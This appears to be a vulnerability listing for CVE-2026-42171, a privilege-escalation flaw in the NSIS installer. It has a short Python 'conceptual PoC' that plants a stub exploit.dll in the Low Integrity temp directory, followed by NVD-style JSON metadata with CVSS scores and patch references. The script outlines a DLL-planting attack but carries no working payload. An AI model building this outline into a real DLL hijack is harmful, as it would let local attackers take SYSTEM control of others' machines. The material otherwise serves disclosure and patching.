CVE-2026-42171

import os # Conceptual PoC for CVE-2026-42171 # This script demonstrates how an attacker might prepare the malicious file # in the Low Integrity temp directory before triggering the vulnerable installer. def exploit_simulation(): # Identify the potential Low IL temp directory path # The actual path depends on the specific behavior of my_GetTempFileName target_temp_dir = os.path.expandvars(r"%TEMP%\Low") print(f"[*] Target directory: {target_temp_dir}") # Ensure directory exists (attacker might need to create this in some scenarios) if not os.path.exists(target_temp_dir): try: os.makedirs(target_temp_dir) print(f"[+] Created directory: {target_temp_dir}") except OSError as e: print(f"[-] Error creating directory: {e}") return # Create a malicious payload (e.g., a DLL) # In a real attack, this would be a compiled DLL designed to hijack execution payload_path = os.path.join(target_temp_dir, "exploit.dll") with open(payload_path, "wb") as f: # Simulating a minimal DLL header (MZ) f.write(b"MZ\x90\x00") print(f"[+] Dropped malicious payload at: {payload_path}") print("[*] Waiting for the vulnerable NSIS installer to run as SYSTEM...") print("[*] If the installer uses the Low IL directory, privilege escalation occurs.") if __name__ == "__main__": exploit_simulation()

{"cve": {"id": "CVE-2026-42171", "sourceIdentifier": "[email protected]", "published": "2026-04-24T22:16:01.540", "lastModified": "2026-05-18T14:33:16.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NSIS (Nullsoft Scriptable Install System) 3.06.1 before 3.12 sometimes uses the Low IL temp directory when executing as SYSTEM, allowing local attackers to gain privileges (if they can cause my_GetTempFileName to return 0, as shown in the references)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nullsoft:nullsoft_scriptable_install_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.06.1", "versionEndExcluding": "3.12", "matchCriteriaId": "7A2CA663-6F00-478D-BAFC-D53DB9A06C25"}]}]}], "references": [{"url": "https://github.com/NSIS-Dev/nsis/blob/7359413009afd4f0fff472d841fc2f2cc0e0a5f8/Source/exehead/util.c#L475-L484", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/NSIS-Dev/nsis/commit/8e6f02205d5f22da6c7855dbfe59b2af667330ca", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-gettempfilename", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://nsis.sourceforge.io/Docs/AppendixF.html#v3.12-cl", "source": "[email protected]", "tags": ["Release Notes"]}]}}